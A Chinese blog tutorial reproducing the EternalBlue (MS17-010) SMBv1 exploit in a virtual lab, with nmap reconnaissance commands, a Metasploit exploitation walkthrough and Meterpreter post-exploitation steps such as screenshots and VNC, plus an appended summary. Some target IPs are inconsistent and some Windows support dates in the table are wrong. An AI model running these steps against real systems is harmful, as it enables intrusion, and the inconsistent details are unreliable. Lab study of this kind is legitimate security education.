漏洞复现_永恒之蓝

1.概述

永恒之蓝(EternalBlue)是一个影响Windows操作系统的远程代码执行漏洞,编号为CVE-2017-0144,最初由美国国家安全局(NSA)开发并利用,后来被黑客组织Shadow Brokers泄露。该漏洞存在于SMBv1协议的内存处理过程中,攻击者可通过发送特制的恶意数据包远程执行任意代码,控制目标系统。它最臭名昭著的应用是2017年的WannaCry勒索软件攻击,该攻击迅速传播,影响超过230,000台计算机,导致全球范围内的广泛破坏。微软在2017年3月发布了安全更新补丁(MS17-010)修复该漏洞,但由于部分系统未及时更新,仍有大量机器暴露在风险之中。为防范此类攻击,建议关闭SMBv1协议并及时应用补丁。本文在虚拟环境中,使用Nmap和Metasploit对病毒攻击进行复现,展示其攻击过程,供大家学习和参考。

如果当前的Windows系统启用了SMBv1协议并且没有安装微软发布的补丁MS17-010,那么该系统确实暴露在永恒之蓝(EternalBlue)漏洞的威胁之下。

2. 复现准备

2.1 漏洞原理

永恒之蓝的漏洞存在于SMBv1协议的实现中。当一个Windows系统通过SMBv1接收到经过特制的恶意请求时,协议处理过程中的缓冲区管理出现错误,导致内存中的数据被非法操作。这种内存管理漏洞属于缓冲区溢出(Buffer Overflow)类型,使得攻击者可以向目标系统注入并执行任意代码,最终完全控制受害者系统。其详细过程如下:

  • 缓冲区溢出:攻击者向目标系统的SMBv1服务发送一个特制的请求数据包,该数据包利用了SMB协议在处理网络请求时的内存管理缺陷。在处理这些数据时,系统没有正确验证输入的大小,导致了缓冲区溢出问题。
  • 内存损坏:缓冲区溢出会使得攻击者能够覆盖系统内存中的数据,尤其是代码执行区域的内存。通过精心构造的攻击数据包,攻击者能够覆盖特定的内存区域,使得系统执行恶意代码。
  • 远程代码执行:攻击者可以在目标系统上植入恶意代码并远程执行。因为SMB服务通常运行在系统权限下,攻击者获得的执行权限往往是管理员权限,这意味着攻击者可以完全控制受害系统。

缓冲区溢出(Buffer Overflow)是一种常见的计算机安全漏洞,发生在程序试图将超过预定大小的数据写入缓冲区时。缓冲区是程序在内存中用于临时存储数据的区域,当数据超出该区域容量时,多余的数据会覆盖相邻的内存地址,可能导致程序崩溃或给攻击者提供执行任意代码的机会。

2.2 漏洞影响

永恒之蓝漏洞影响了多个Windows版本,其中Windows 7和Windows Server 2008受到的影响最为严重,许多未打补丁的系统成为攻击目标。Windows Vista和Windows XP也存在风险,前者在2017年结束支持,后者在2014年已不再获得安全更新,使用这些版本的系统极为脆弱。Windows Server 2012虽然受到影响,但通常会及时进行安全更新,而Windows 10在漏洞首次出现时也受影响,但迅速推出了补丁,风险相对较低。Windows Server 2016和2019虽受影响,但仍在持续支持中,建议用户定期更新以降低安全风险。

Windows版本影响程度支持状态
Windows 7受影响严重,许多未打补丁的系统成为攻击目标2020年1月结束支持,某些企业仍在使用
Windows Server 2008同样受到影响,广泛应用于企业和数据中心环境2020年1月结束主流支持,转入扩展支持
Windows Vista受到影响,但用户数量较少2017年4月结束支持
Windows XP历史悠久的系统,易受到攻击,特别是在特定设备上2014年结束支持,使用该版本的系统风险极高
Windows Server 2012受影响,但通常会较快进行安全更新仍在进行主流支持,未打补丁的系统存在风险
Windows 10受影响但快速发布了补丁,相对风险较低持续获得更新和支持,建议定期安装安全补丁
Windows Server 2016受影响但及时获得安全补丁仍在持续支持中,建议定期更新
Windows Server 2019受影响但及时获得安全补丁仍在持续支持中,建议定期更新

2.3 复现环境

虚拟环境搭建:VMware Workstation 17 Pro

网络模式:NAT是一种在网络设备(如路由器或防火墙)中使用的技术,用于将私有IP地址转换为公共IP地址。通过NAT,多个虚拟机可以共享宿主机的公共IP地址,以访问外部网络。

当虚拟机发送网络请求时,宿主机会捕获这些请求,并将虚拟机的私有IP地址转换为宿主机的公共IP地址,然后将请求发送到外部网络。当外部网络返回数据时,宿主机会使用NAT表将数据包路由回相应的虚拟机,每个虚拟机的流量通过不同的端口进行标识,从而确保数据包能够正确发送到目标虚拟机。

攻击机:kali Linux 2019.1,IP:192.168.153.130。

靶机:Windows 7,IP:192.168.153.129。

3. 攻击复现

3.1 使用nmap进行扫描

使用nmap扫描当前网段中存活的主机

# 活跃机器扫描
nmap -sS 192.168.153.0/24

扫描发现与攻击机处于同一网段的靶机,其 IP 为 192.168.153.129,其开放的端口包括 135 端口、139 端口基于 445 端口。在此基础上,需要进一步确认靶机的操作系统类型。

# 操作系统侦察
nmap -O 192.168.56.129

扫描发现靶机的操作系统为 Windows 7,在此基础上进一步通过nmap脚本扫描靶机中存在的漏洞。

# 漏洞扫描
nmap --script=vuln 192.168.56.132

扫描发现靶机存在永恒之蓝漏洞(ms17-010),接下来需要使用工具实现漏洞的利用。

3.2 使用Metasploit进行攻击

启动 Metasploit,并搜索永恒之蓝漏洞相关的工具。

# 启动metasploit
msfconsole

# 搜索永恒之蓝相关工具
search ms17-010

执行上述指令后发现,存在一系列用于永恒之蓝漏洞利用的模块,如上图所示。其中,我们利用模块2。

# 选择模块2
use 2

# 显示配置
show option

# 设置靶机IP
set RHOSTS 192.168.153.129

# 运行模块
run

运行成功后会出现 `meterpreter >` 提示符,它是 Metasploit 的一个强大扩展模块。通过 Meterpreter,可以执行更深入的渗透操作,例如获取目标系统的屏幕截图、上传或下载文件、创建持久后门等。基于meterpreter模块,我们首先可以实现靶机的截屏,如下图所示。

# 靶机截屏指令
screenshot

# 远程桌面指令
run vnc
永恒之蓝漏洞复现流程大致如下: 1. 首先,你需要准备两台机器,一台是攻击机(Linux kali),另一台是靶机(Windows 2008R2)。 2. 打开Metasploit框架,可以使用命令`msfconsole`。 3. 在Metasploit框架中,使用`search ms17_010`命令搜索永恒之蓝漏洞的相关代码。你会找到两个工具,其中`auxiliary/scanner/smb/smb_ms17_010`是用于扫描漏洞的模块,`exploit/windows/smb/ms17_010_eternalblue`是用于攻击的代码。一般情况下,你需要先使用扫描模块,如果显示存在漏洞,再使用攻击代码进行攻击。 4. 配置攻击目标IP,使用命令`use exploit/windows/smb/ms17_010_eternalblue`选择攻击模块。 5. 接下来,你需要使用该模块对靶机服务器进行攻击。使用命令`set RHOSTS <靶机IP>`来配置目标IP。 6. 最后,执行攻击命令,例如使用`exploit`命令开始攻击。 需要注意的是,复现永恒之蓝漏洞属于安全研究领域,只应在合法的环境下进行,并遵守相关法律法规。在实际环境中,应该始终保持系统和软件的更新,以免存在已知漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [永恒之蓝漏洞复现](https://blog.csdn.net/weixin_39096432/article/details/115422428)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值